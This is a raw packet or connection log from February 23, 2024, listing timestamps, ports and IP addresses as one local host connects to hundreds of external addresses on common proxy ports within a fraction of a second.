Feb 23, 2024 14:28:22.881895065 CET	50412	80	192.168.2.8	119.81.71.27
Feb 23, 2024 14:28:22.882209063 CET	49731	3128	192.168.2.8	20.118.133.34
Feb 23, 2024 14:28:22.882210970 CET	49852	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:22.882222891 CET	49804	4153	192.168.2.8	103.94.133.93
Feb 23, 2024 14:28:22.882222891 CET	49738	999	192.168.2.8	190.109.178.44
Feb 23, 2024 14:28:22.882230997 CET	49964	7491	192.168.2.8	67.43.228.253
Feb 23, 2024 14:28:22.882236958 CET	49739	8080	192.168.2.8	137.59.48.20
Feb 23, 2024 14:28:22.882241011 CET	49737	11432	192.168.2.8	92.246.139.106
Feb 23, 2024 14:28:22.882245064 CET	49742	8080	192.168.2.8	91.189.237.78
Feb 23, 2024 14:28:22.882827997 CET	50413	1546	192.168.2.8	167.99.123.158
Feb 23, 2024 14:28:22.883018017 CET	50414	8089	192.168.2.8	111.225.153.146
Feb 23, 2024 14:28:22.884284019 CET	50415	2453	192.168.2.8	166.62.38.100
Feb 23, 2024 14:28:22.884377003 CET	50416	5678	192.168.2.8	41.139.147.86
Feb 23, 2024 14:28:22.884706974 CET	8089	50108	114.106.135.102	192.168.2.8
Feb 23, 2024 14:28:22.884969950 CET	50417	80	192.168.2.8	18.133.16.21
Feb 23, 2024 14:28:22.885200977 CET	3128	49822	132.145.61.202	192.168.2.8
Feb 23, 2024 14:28:22.886221886 CET	50418	3128	192.168.2.8	93.19.123.228
Feb 23, 2024 14:28:22.886265993 CET	50419	1081	192.168.2.8	103.146.137.9
Feb 23, 2024 14:28:22.886877060 CET	50420	80	192.168.2.8	184.169.154.119
Feb 23, 2024 14:28:22.887537956 CET	8080	50173	103.118.46.176	192.168.2.8
Feb 23, 2024 14:28:22.887698889 CET	50173	8080	192.168.2.8	103.118.46.176
Feb 23, 2024 14:28:22.887789011 CET	50421	20435	192.168.2.8	51.89.173.40
Feb 23, 2024 14:28:22.888070107 CET	50173	8080	192.168.2.8	103.118.46.176
Feb 23, 2024 14:28:22.888679981 CET	50422	10605	192.168.2.8	165.225.216.80
Feb 23, 2024 14:28:22.888943911 CET	50423	80	192.168.2.8	104.20.75.132
Feb 23, 2024 14:28:22.889589071 CET	50424	55443	192.168.2.8	175.100.103.170
Feb 23, 2024 14:28:22.890192986 CET	50425	999	192.168.2.8	201.71.3.42
Feb 23, 2024 14:28:22.891573906 CET	50426	5678	192.168.2.8	120.29.153.250
Feb 23, 2024 14:28:22.891721010 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:22.891769886 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:22.891871929 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:22.892872095 CET	50427	999	192.168.2.8	200.106.124.54
Feb 23, 2024 14:28:22.894519091 CET	50429	6764	192.168.2.8	198.105.111.86
Feb 23, 2024 14:28:22.894762039 CET	3128	50206	139.129.162.65	192.168.2.8
Feb 23, 2024 14:28:22.894844055 CET	50206	3128	192.168.2.8	139.129.162.65
Feb 23, 2024 14:28:22.895117044 CET	50206	3128	192.168.2.8	139.129.162.65
Feb 23, 2024 14:28:22.895986080 CET	50430	80	192.168.2.8	218.255.187.60
Feb 23, 2024 14:28:22.896122932 CET	50431	8081	192.168.2.8	88.199.164.140
Feb 23, 2024 14:28:22.896699905 CET	50432	35398	192.168.2.8	206.189.184.213
Feb 23, 2024 14:28:22.896838903 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:22.897104979 CET	50428	8730	192.168.2.8	166.62.38.100
Feb 23, 2024 14:28:22.897617102 CET	50433	26770	192.168.2.8	109.238.12.156
Feb 23, 2024 14:28:22.897833109 CET	49859	80	192.168.2.8	62.99.138.162
Feb 23, 2024 14:28:22.897833109 CET	49741	5678	192.168.2.8	192.141.236.3
Feb 23, 2024 14:28:22.897846937 CET	49750	8080	192.168.2.8	88.132.205.84
Feb 23, 2024 14:28:22.897846937 CET	49800	8089	192.168.2.8	125.87.86.119
Feb 23, 2024 14:28:22.897847891 CET	49745	55443	192.168.2.8	202.165.47.90
Feb 23, 2024 14:28:22.897857904 CET	49753	13988	192.168.2.8	167.172.159.43
Feb 23, 2024 14:28:22.898108006 CET	50434	1088	192.168.2.8	46.227.37.1
Feb 23, 2024 14:28:22.898108006 CET	49754	8080	192.168.2.8	46.209.207.150
Feb 23, 2024 14:28:22.898113012 CET	49746	60915	192.168.2.8	104.248.151.220
Feb 23, 2024 14:28:22.898927927 CET	50435	1080	192.168.2.8	103.40.122.194
Feb 23, 2024 14:28:22.899429083 CET	50436	80	192.168.2.8	18.141.177.23
Feb 23, 2024 14:28:22.899980068 CET	19713	49921	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:22.900053024 CET	50437	80	192.168.2.8	108.161.128.43
Feb 23, 2024 14:28:22.900552988 CET	50438	80	192.168.2.8	156.67.217.159
Feb 23, 2024 14:28:22.901581049 CET	3129	50123	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:22.901933908 CET	50440	19659	192.168.2.8	139.162.181.177
Feb 23, 2024 14:28:22.902033091 CET	49747	80	192.168.2.8	12.186.205.120
Feb 23, 2024 14:28:22.902838945 CET	50441	999	192.168.2.8	45.229.34.174
Feb 23, 2024 14:28:22.903090954 CET	50442	43129	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:22.903652906 CET	50443	5678	192.168.2.8	5.141.81.209
Feb 23, 2024 14:28:22.904176950 CET	50444	80	192.168.2.8	193.136.97.17
Feb 23, 2024 14:28:22.904884100 CET	50445	8080	192.168.2.8	149.210.48.62
Feb 23, 2024 14:28:22.905105114 CET	50439	999	192.168.2.8	179.57.172.172
Feb 23, 2024 14:28:22.905587912 CET	50446	8080	192.168.2.8	110.164.132.234
Feb 23, 2024 14:28:22.905618906 CET	80	50241	185.238.228.202	192.168.2.8
Feb 23, 2024 14:28:22.905680895 CET	42580	50227	175.139.179.65	192.168.2.8
Feb 23, 2024 14:28:22.906534910 CET	50447	4153	192.168.2.8	179.107.50.98
Feb 23, 2024 14:28:22.906809092 CET	50448	80	192.168.2.8	185.162.228.154
Feb 23, 2024 14:28:22.907481909 CET	50449	4145	192.168.2.8	116.199.170.17
Feb 23, 2024 14:28:22.907675028 CET	50450	6031	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.908350945 CET	48057	49821	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:22.908368111 CET	50451	80	192.168.2.8	104.16.230.163
Feb 23, 2024 14:28:22.910000086 CET	50453	36331	192.168.2.8	103.115.255.1
Feb 23, 2024 14:28:22.910007954 CET	50452	9999	192.168.2.8	117.160.250.163
Feb 23, 2024 14:28:22.910814047 CET	50454	4145	192.168.2.8	186.211.6.137
Feb 23, 2024 14:28:22.912592888 CET	50455	3128	192.168.2.8	154.202.125.154
Feb 23, 2024 14:28:22.912594080 CET	50456	80	192.168.2.8	5.189.184.6
Feb 23, 2024 14:28:22.913453102 CET	49831	5678	192.168.2.8	103.217.249.129
Feb 23, 2024 14:28:22.913470030 CET	49758	32650	192.168.2.8	196.202.210.73
Feb 23, 2024 14:28:22.913471937 CET	49986	12899	192.168.2.8	72.10.160.170
Feb 23, 2024 14:28:22.913471937 CET	49749	8080	192.168.2.8	188.132.222.7
Feb 23, 2024 14:28:22.913471937 CET	49755	8080	192.168.2.8	203.85.120.69
Feb 23, 2024 14:28:22.913487911 CET	49752	8088	192.168.2.8	202.146.228.254
Feb 23, 2024 14:28:22.913487911 CET	49756	37106	192.168.2.8	198.12.253.1
Feb 23, 2024 14:28:22.913491011 CET	49761	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:22.913492918 CET	49759	41354	192.168.2.8	128.199.104.190
Feb 23, 2024 14:28:22.913503885 CET	49760	8080	192.168.2.8	81.44.83.70
Feb 23, 2024 14:28:22.913855076 CET	80	50128	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.913919926 CET	3128	49740	79.132.192.13	192.168.2.8
Feb 23, 2024 14:28:22.913975000 CET	33466	50193	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:22.917222023 CET	8443	50203	219.243.212.118	192.168.2.8
Feb 23, 2024 14:28:22.917355061 CET	50203	8443	192.168.2.8	219.243.212.118
Feb 23, 2024 14:28:22.920906067 CET	50457	58394	192.168.2.8	107.148.97.234
Feb 23, 2024 14:28:22.921101093 CET	50203	8443	192.168.2.8	219.243.212.118
Feb 23, 2024 14:28:22.921396017 CET	50458	3128	192.168.2.8	154.202.122.95
Feb 23, 2024 14:28:22.921993971 CET	50459	44196	192.168.2.8	162.0.220.234
Feb 23, 2024 14:28:22.922482014 CET	50460	1080	192.168.2.8	47.242.244.23
Feb 23, 2024 14:28:22.922673941 CET	46523	50269	167.99.39.82	192.168.2.8
Feb 23, 2024 14:28:22.922795057 CET	80	50254	104.23.126.8	192.168.2.8
Feb 23, 2024 14:28:22.923155069 CET	50269	46523	192.168.2.8	167.99.39.82
Feb 23, 2024 14:28:22.923155069 CET	50269	46523	192.168.2.8	167.99.39.82
Feb 23, 2024 14:28:22.923871040 CET	50462	55452	192.168.2.8	51.222.241.8
Feb 23, 2024 14:28:22.924380064 CET	50461	9090	192.168.2.8	38.41.53.149
Feb 23, 2024 14:28:22.924381971 CET	50463	4145	192.168.2.8	142.54.228.193
Feb 23, 2024 14:28:22.925137043 CET	50464	52116	192.168.2.8	188.255.244.83
Feb 23, 2024 14:28:22.925573111 CET	8080	50139	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.926023960 CET	50466	11673	192.168.2.8	50.63.13.3
Feb 23, 2024 14:28:22.926032066 CET	50465	20325	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:22.926103115 CET	50139	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.927345991 CET	50139	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.928896904 CET	80	50340	50.174.7.157	192.168.2.8
Feb 23, 2024 14:28:22.929079056 CET	49917	80	192.168.2.8	50.175.212.74
Feb 23, 2024 14:28:22.929089069 CET	49765	80	192.168.2.8	51.250.13.88
Feb 23, 2024 14:28:22.929089069 CET	49769	3128	192.168.2.8	189.90.255.208
Feb 23, 2024 14:28:22.929086924 CET	49988	80	192.168.2.8	32.223.6.94
Feb 23, 2024 14:28:22.929092884 CET	49957	999	192.168.2.8	191.97.19.66
Feb 23, 2024 14:28:22.929131985 CET	49945	51167	192.168.2.8	207.180.236.140
Feb 23, 2024 14:28:22.929132938 CET	49771	8090	192.168.2.8	103.158.253.187
Feb 23, 2024 14:28:22.929131985 CET	49770	3128	192.168.2.8	84.17.51.235
Feb 23, 2024 14:28:22.929164886 CET	49774	8080	192.168.2.8	186.103.130.94
Feb 23, 2024 14:28:22.929359913 CET	50467	8999	192.168.2.8	181.191.94.126
Feb 23, 2024 14:28:22.929687977 CET	50468	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.930699110 CET	49762	55637	192.168.2.8	51.91.13.215
Feb 23, 2024 14:28:22.930708885 CET	50469	80	192.168.2.8	172.67.150.173
Feb 23, 2024 14:28:22.931798935 CET	50472	80	192.168.2.8	146.83.118.9
Feb 23, 2024 14:28:22.931803942 CET	50470	4145	192.168.2.8	98.162.25.23
Feb 23, 2024 14:28:22.932087898 CET	8888	49763	47.74.152.29	192.168.2.8
Feb 23, 2024 14:28:22.932250977 CET	50473	80	192.168.2.8	172.64.86.217
Feb 23, 2024 14:28:22.933347940 CET	50475	8888	192.168.2.8	47.74.152.29
Feb 23, 2024 14:28:22.933347940 CET	50474	45685	192.168.2.8	36.66.173.145
Feb 23, 2024 14:28:22.933871984 CET	50476	4153	192.168.2.8	91.199.93.32
Feb 23, 2024 14:28:22.934437990 CET	50477	5678	192.168.2.8	110.77.149.50
Feb 23, 2024 14:28:22.935184002 CET	49524	50052	36.67.27.189	192.168.2.8
Feb 23, 2024 14:28:22.935306072 CET	50052	49524	192.168.2.8	36.67.27.189
Feb 23, 2024 14:28:22.935355902 CET	80	50359	104.21.6.88	192.168.2.8
Feb 23, 2024 14:28:22.935384035 CET	50478	2953	192.168.2.8	50.63.12.101
Feb 23, 2024 14:28:22.935435057 CET	50359	80	192.168.2.8	104.21.6.88
Feb 23, 2024 14:28:22.935504913 CET	50052	49524	192.168.2.8	36.67.27.189
Feb 23, 2024 14:28:22.936068058 CET	50359	80	192.168.2.8	104.21.6.88
Feb 23, 2024 14:28:22.936068058 CET	50479	80	192.168.2.8	50.168.163.181
Feb 23, 2024 14:28:22.936932087 CET	80	50361	104.17.166.210	192.168.2.8
Feb 23, 2024 14:28:22.937050104 CET	50480	3128	192.168.2.8	46.51.249.135
Feb 23, 2024 14:28:22.937051058 CET	50361	80	192.168.2.8	104.17.166.210
Feb 23, 2024 14:28:22.937319994 CET	50481	39533	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:22.937589884 CET	50361	80	192.168.2.8	104.17.166.210
Feb 23, 2024 14:28:22.938766956 CET	50482	999	192.168.2.8	177.136.84.200
Feb 23, 2024 14:28:22.939382076 CET	50484	65110	192.168.2.8	125.229.149.168
Feb 23, 2024 14:28:22.939382076 CET	50485	80	192.168.2.8	103.160.75.174
Feb 23, 2024 14:28:22.939465046 CET	50483	80	192.168.2.8	154.65.39.8
Feb 23, 2024 14:28:22.941050053 CET	50487	5678	192.168.2.8	36.89.251.210
Feb 23, 2024 14:28:22.941051006 CET	50486	56862	192.168.2.8	166.62.53.45
Feb 23, 2024 14:28:22.941879034 CET	50488	8080	192.168.2.8	91.150.67.17
Feb 23, 2024 14:28:22.942483902 CET	31871	50357	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.943351030 CET	80	49722	103.75.117.79	192.168.2.8
Feb 23, 2024 14:28:22.943387985 CET	50489	83	192.168.2.8	103.78.171.10
Feb 23, 2024 14:28:22.943387985 CET	50490	39796	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:22.944717884 CET	49773	999	192.168.2.8	200.39.139.65
Feb 23, 2024 14:28:22.944719076 CET	49777	37172	192.168.2.8	167.86.69.142
Feb 23, 2024 14:28:22.944719076 CET	50491	53948	192.168.2.8	161.97.173.42
Feb 23, 2024 14:28:22.944904089 CET	49779	80	192.168.2.8	217.182.210.152
Feb 23, 2024 14:28:22.944905043 CET	49780	80	192.168.2.8	167.99.124.118
Feb 23, 2024 14:28:22.945065975 CET	50492	9741	192.168.2.8	94.142.137.203
Feb 23, 2024 14:28:22.945067883 CET	49783	3503	192.168.2.8	23.225.72.125
Feb 23, 2024 14:28:22.945067883 CET	50471	80	192.168.2.8	72.52.217.188
Feb 23, 2024 14:28:22.946176052 CET	50494	7497	192.168.2.8	167.71.220.29
Feb 23, 2024 14:28:22.946475983 CET	4145	49711	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:22.946506977 CET	50493	34308	192.168.2.8	208.109.13.93
Feb 23, 2024 14:28:22.946866989 CET	50495	1080	192.168.2.8	94.131.14.66
Feb 23, 2024 14:28:22.946875095 CET	49711	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:22.947290897 CET	49711	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:22.948282003 CET	50497	1976	192.168.2.8	156.200.116.74
Feb 23, 2024 14:28:22.949115038 CET	50496	8080	192.168.2.8	186.250.29.225
Feb 23, 2024 14:28:22.949301958 CET	50498	3128	192.168.2.8	188.87.137.45
Feb 23, 2024 14:28:22.949743032 CET	8080	50139	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.949768066 CET	50499	8080	192.168.2.8	103.179.84.117
Feb 23, 2024 14:28:22.949872971 CET	80	50384	104.20.233.70	192.168.2.8
Feb 23, 2024 14:28:22.949906111 CET	50500	3128	192.168.2.8	179.184.224.91
Feb 23, 2024 14:28:22.950308084 CET	80	50275	41.111.243.18	192.168.2.8
Feb 23, 2024 14:28:22.950316906 CET	50384	80	192.168.2.8	104.20.233.70
Feb 23, 2024 14:28:22.950316906 CET	50384	80	192.168.2.8	104.20.233.70
Feb 23, 2024 14:28:22.950681925 CET	80	50385	185.162.229.215	192.168.2.8
Feb 23, 2024 14:28:22.950702906 CET	50501	44719	192.168.2.8	51.89.173.40
Feb 23, 2024 14:28:22.950762033 CET	50275	80	192.168.2.8	41.111.243.18
Feb 23, 2024 14:28:22.950767040 CET	50385	80	192.168.2.8	185.162.229.215
Feb 23, 2024 14:28:22.951302052 CET	50275	80	192.168.2.8	41.111.243.18
Feb 23, 2024 14:28:22.951303959 CET	50385	80	192.168.2.8	185.162.229.215
Feb 23, 2024 14:28:22.951602936 CET	50502	8089	192.168.2.8	123.182.58.130
Feb 23, 2024 14:28:22.951962948 CET	50503	3128	192.168.2.8	189.10.103.98
Feb 23, 2024 14:28:22.953078032 CET	50504	25508	192.168.2.8	107.180.89.55
Feb 23, 2024 14:28:22.953919888 CET	50506	8089	192.168.2.8	183.164.243.124
Feb 23, 2024 14:28:22.953921080 CET	50505	26169	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:22.953922033 CET	80	50391	45.12.31.140	192.168.2.8
Feb 23, 2024 14:28:22.954436064 CET	50507	4481	192.168.2.8	50.231.0.43
Feb 23, 2024 14:28:22.954564095 CET	50391	80	192.168.2.8	45.12.31.140
Feb 23, 2024 14:28:22.954919100 CET	50391	80	192.168.2.8	45.12.31.140
Feb 23, 2024 14:28:22.955323935 CET	50508	8089	192.168.2.8	183.164.242.162
Feb 23, 2024 14:28:22.955606937 CET	32065	50381	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:22.956135988 CET	50509	41866	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:22.957099915 CET	50510	8000	192.168.2.8	199.188.92.47
Feb 23, 2024 14:28:22.957101107 CET	50511	10293	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:22.958143950 CET	50512	80	192.168.2.8	50.222.245.47
Feb 23, 2024 14:28:22.958146095 CET	50513	8083	192.168.2.8	191.102.254.27
Feb 23, 2024 14:28:22.958523035 CET	50514	1585	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:22.959614038 CET	50516	61810	192.168.2.8	51.15.21.216
Feb 23, 2024 14:28:22.959724903 CET	50515	8080	192.168.2.8	103.252.169.158
Feb 23, 2024 14:28:22.960319042 CET	50003	3128	192.168.2.8	62.112.10.26
Feb 23, 2024 14:28:22.960340023 CET	49778	3128	192.168.2.8	156.67.172.185
Feb 23, 2024 14:28:22.960341930 CET	49768	53299	192.168.2.8	178.128.82.105
Feb 23, 2024 14:28:22.960342884 CET	49785	4145	192.168.2.8	103.140.35.11
Feb 23, 2024 14:28:22.960342884 CET	49784	8080	192.168.2.8	185.110.190.141
Feb 23, 2024 14:28:22.960352898 CET	49896	25007	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:22.960352898 CET	49790	8082	192.168.2.8	120.28.139.143
Feb 23, 2024 14:28:22.960561037 CET	49786	80	192.168.2.8	188.119.99.210
Feb 23, 2024 14:28:22.960968971 CET	50517	15265	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:22.962729931 CET	50519	80	192.168.2.8	50.217.226.40
Feb 23, 2024 14:28:22.962729931 CET	50518	3128	192.168.2.8	91.149.224.168
Feb 23, 2024 14:28:22.963555098 CET	50520	16379	192.168.2.8	51.15.254.129
Feb 23, 2024 14:28:22.964178085 CET	80	50403	31.43.179.214	192.168.2.8
Feb 23, 2024 14:28:22.964445114 CET	50403	80	192.168.2.8	31.43.179.214
Feb 23, 2024 14:28:22.964445114 CET	50403	80	192.168.2.8	31.43.179.214
Feb 23, 2024 14:28:22.964796066 CET	50521	80	192.168.2.8	117.54.114.35
Feb 23, 2024 14:28:22.965240002 CET	50522	9191	192.168.2.8	51.83.184.241
Feb 23, 2024 14:28:22.966480017 CET	50523	20003	192.168.2.8	72.10.160.171
Feb 23, 2024 14:28:22.966480017 CET	50524	80	192.168.2.8	24.205.201.186
Feb 23, 2024 14:28:22.967247009 CET	50525	29291	192.168.2.8	51.79.51.145
Feb 23, 2024 14:28:22.967510939 CET	50526	8080	192.168.2.8	172.233.58.86
Feb 23, 2024 14:28:22.968539000 CET	50528	999	192.168.2.8	38.10.179.195
Feb 23, 2024 14:28:22.968539953 CET	50527	8080	192.168.2.8	201.229.250.21
Feb 23, 2024 14:28:22.969630957 CET	50529	13994	192.168.2.8	161.97.160.158
Feb 23, 2024 14:28:22.969630957 CET	50530	1080	192.168.2.8	195.164.138.34
Feb 23, 2024 14:28:22.970216990 CET	50531	8089	192.168.2.8	111.225.152.162
Feb 23, 2024 14:28:22.970714092 CET	50532	80	192.168.2.8	95.216.230.239
Feb 23, 2024 14:28:22.971451044 CET	50533	8060	192.168.2.8	120.205.70.102
Feb 23, 2024 14:28:22.971842051 CET	1080	50295	95.216.201.74	192.168.2.8
Feb 23, 2024 14:28:22.971849918 CET	50534	48612	192.168.2.8	191.103.219.225
Feb 23, 2024 14:28:22.972788095 CET	50535	8080	192.168.2.8	95.215.161.7
Feb 23, 2024 14:28:22.972910881 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.973108053 CET	50536	17084	192.168.2.8	107.180.103.214
Feb 23, 2024 14:28:22.973495007 CET	50537	59932	192.168.2.8	207.180.226.58
Feb 23, 2024 14:28:22.973504066 CET	80	50312	143.198.241.47	192.168.2.8
Feb 23, 2024 14:28:22.974442005 CET	46249	49869	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:22.974483013 CET	50538	3128	192.168.2.8	154.202.123.66
Feb 23, 2024 14:28:22.975337029 CET	50539	63853	192.168.2.8	148.72.177.90
Feb 23, 2024 14:28:22.975593090 CET	50540	54625	192.168.2.8	185.23.118.97
Feb 23, 2024 14:28:22.975908041 CET	80	50423	104.20.75.132	192.168.2.8
Feb 23, 2024 14:28:22.975956917 CET	49793	80	192.168.2.8	192.236.160.186
Feb 23, 2024 14:28:22.975956917 CET	49789	51212	192.168.2.8	194.163.129.179
Feb 23, 2024 14:28:22.975956917 CET	50010	17317	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:22.975956917 CET	49788	62640	192.168.2.8	15.235.187.227
Feb 23, 2024 14:28:22.975972891 CET	49795	80	192.168.2.8	89.43.10.141
Feb 23, 2024 14:28:22.975986958 CET	49794	8080	192.168.2.8	85.238.74.91
Feb 23, 2024 14:28:22.976095915 CET	50423	80	192.168.2.8	104.20.75.132
Feb 23, 2024 14:28:22.976551056 CET	50541	8080	192.168.2.8	116.68.172.169
Feb 23, 2024 14:28:22.976557970 CET	50423	80	192.168.2.8	104.20.75.132
Feb 23, 2024 14:28:22.977171898 CET	7491	49964	67.43.228.253	192.168.2.8
Feb 23, 2024 14:28:22.977792025 CET	50542	1080	192.168.2.8	77.37.155.85
Feb 23, 2024 14:28:22.978564024 CET	50543	27877	192.168.2.8	208.109.13.93
Feb 23, 2024 14:28:22.979576111 CET	50545	9251	192.168.2.8	162.214.162.180
Feb 23, 2024 14:28:22.979577065 CET	50544	34288	192.168.2.8	109.107.181.245
Feb 23, 2024 14:28:22.980196953 CET	50546	4145	192.168.2.8	197.234.13.93
Feb 23, 2024 14:28:22.980906963 CET	50547	8181	192.168.2.8	188.235.0.207
Feb 23, 2024 14:28:22.981617928 CET	50548	3128	192.168.2.8	94.250.250.154
Feb 23, 2024 14:28:22.981941938 CET	50549	30208	192.168.2.8	202.123.178.202
Feb 23, 2024 14:28:22.982922077 CET	50550	999	192.168.2.8	45.230.171.41
Feb 23, 2024 14:28:22.984180927 CET	50553	57903	192.168.2.8	218.75.69.50
Feb 23, 2024 14:28:22.984181881 CET	50552	4444	192.168.2.8	144.76.75.25
Feb 23, 2024 14:28:22.984206915 CET	50551	16296	192.168.2.8	109.205.181.27
Feb 23, 2024 14:28:22.985184908 CET	50554	14133	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:22.985322952 CET	50555	36139	192.168.2.8	188.164.197.178
Feb 23, 2024 14:28:22.985568047 CET	8081	50232	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:22.986426115 CET	8081	50232	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:22.986449003 CET	50556	23867	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:22.986521959 CET	50232	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:22.986587048 CET	1080	50257	103.109.59.193	192.168.2.8
Feb 23, 2024 14:28:22.986782074 CET	50232	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:22.986782074 CET	50557	80	192.168.2.8	50.173.140.148
Feb 23, 2024 14:28:22.987092972 CET	20056	50256	103.215.139.32	192.168.2.8
Feb 23, 2024 14:28:22.987596035 CET	50558	999	192.168.2.8	190.120.249.180
Feb 23, 2024 14:28:22.987596989 CET	50559	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:22.988531113 CET	50560	8080	192.168.2.8	49.48.68.63
Feb 23, 2024 14:28:22.988543034 CET	80	50322	194.34.232.107	192.168.2.8
Feb 23, 2024 14:28:22.988796949 CET	50322	80	192.168.2.8	194.34.232.107
Feb 23, 2024 14:28:22.989104033 CET	50322	80	192.168.2.8	194.34.232.107
Feb 23, 2024 14:28:22.989880085 CET	49579	50334	162.19.7.46	192.168.2.8
Feb 23, 2024 14:28:22.990472078 CET	50562	3128	192.168.2.8	201.91.82.155
Feb 23, 2024 14:28:22.990473032 CET	50561	80	192.168.2.8	111.93.235.76
Feb 23, 2024 14:28:22.990562916 CET	50334	49579	192.168.2.8	162.19.7.46
Feb 23, 2024 14:28:22.990814924 CET	50334	49579	192.168.2.8	162.19.7.46
Feb 23, 2024 14:28:22.991574049 CET	50025	80	192.168.2.8	50.174.7.153
Feb 23, 2024 14:28:22.991628885 CET	50026	8459	192.168.2.8	72.10.160.171
Feb 23, 2024 14:28:22.992829084 CET	50564	11	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.992830038 CET	50563	48684	192.168.2.8	46.101.210.101
Feb 23, 2024 14:28:22.994091034 CET	50565	8089	192.168.2.8	112.78.167.38
Feb 23, 2024 14:28:22.994412899 CET	50566	41890	192.168.2.8	109.104.187.212
Feb 23, 2024 14:28:22.994729996 CET	80	50448	185.162.228.154	192.168.2.8
Feb 23, 2024 14:28:22.994837999 CET	50567	80	192.168.2.8	47.250.46.217
Feb 23, 2024 14:28:22.994925022 CET	50448	80	192.168.2.8	185.162.228.154
Feb 23, 2024 14:28:22.995318890 CET	50448	80	192.168.2.8	185.162.228.154
Feb 23, 2024 14:28:22.995704889 CET	50568	35568	192.168.2.8	107.172.79.64
Feb 23, 2024 14:28:22.996329069 CET	50569	8080	192.168.2.8	103.74.229.133
Feb 23, 2024 14:28:22.996436119 CET	80	50451	104.16.230.163	192.168.2.8
Feb 23, 2024 14:28:22.996617079 CET	50451	80	192.168.2.8	104.16.230.163
Feb 23, 2024 14:28:22.996876955 CET	50451	80	192.168.2.8	104.16.230.163
Feb 23, 2024 14:28:22.997237921 CET	50570	58839	192.168.2.8	165.227.104.122
Feb 23, 2024 14:28:22.997591019 CET	4153	50265	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:22.997829914 CET	50265	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:22.998084068 CET	50571	8080	192.168.2.8	186.103.130.91
Feb 23, 2024 14:28:22.998343945 CET	50265	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:22.999093056 CET	83	50216	103.155.54.38	192.168.2.8
Feb 23, 2024 14:28:22.999166965 CET	50572	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:22.999166965 CET	50573	80	192.168.2.8	104.20.125.124
Feb 23, 2024 14:28:22.999711037 CET	50574	999	192.168.2.8	191.102.68.178
Feb 23, 2024 14:28:23.001107931 CET	50575	4153	192.168.2.8	45.7.210.195
Feb 23, 2024 14:28:23.001379967 CET	50576	80	192.168.2.8	104.24.15.158
Feb 23, 2024 14:28:23.001550913 CET	50577	8089	192.168.2.8	111.225.152.243
Feb 23, 2024 14:28:23.002198935 CET	44087	50349	185.244.36.240	192.168.2.8
Feb 23, 2024 14:28:23.002551079 CET	5032	50308	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.002640963 CET	50578	80	192.168.2.8	185.162.228.48
Feb 23, 2024 14:28:23.002710104 CET	50308	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.002919912 CET	50579	80	192.168.2.8	104.25.135.170
Feb 23, 2024 14:28:23.003093958 CET	50308	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.003592968 CET	50580	8081	192.168.2.8	117.160.250.163
Feb 23, 2024 14:28:23.004890919 CET	50582	80	192.168.2.8	189.202.188.149
Feb 23, 2024 14:28:23.007215023 CET	50183	80	192.168.2.8	34.135.166.24
Feb 23, 2024 14:28:23.007215023 CET	49979	4635	192.168.2.8	93.115.25.139
Feb 23, 2024 14:28:23.007226944 CET	49796	57230	192.168.2.8	103.28.86.241
Feb 23, 2024 14:28:23.007229090 CET	49937	8080	192.168.2.8	200.108.234.105
Feb 23, 2024 14:28:23.007237911 CET	49797	40927	192.168.2.8	213.136.78.200
Feb 23, 2024 14:28:23.007241011 CET	49798	16379	192.168.2.8	51.158.105.107
Feb 23, 2024 14:28:23.008905888 CET	12899	49986	72.10.160.170	192.168.2.8
Feb 23, 2024 14:28:23.013186932 CET	27890	50316	185.198.58.47	192.168.2.8
Feb 23, 2024 14:28:23.013348103 CET	3128	49987	18.135.211.182	192.168.2.8
Feb 23, 2024 14:28:23.014131069 CET	60406	50371	54.38.179.203	192.168.2.8
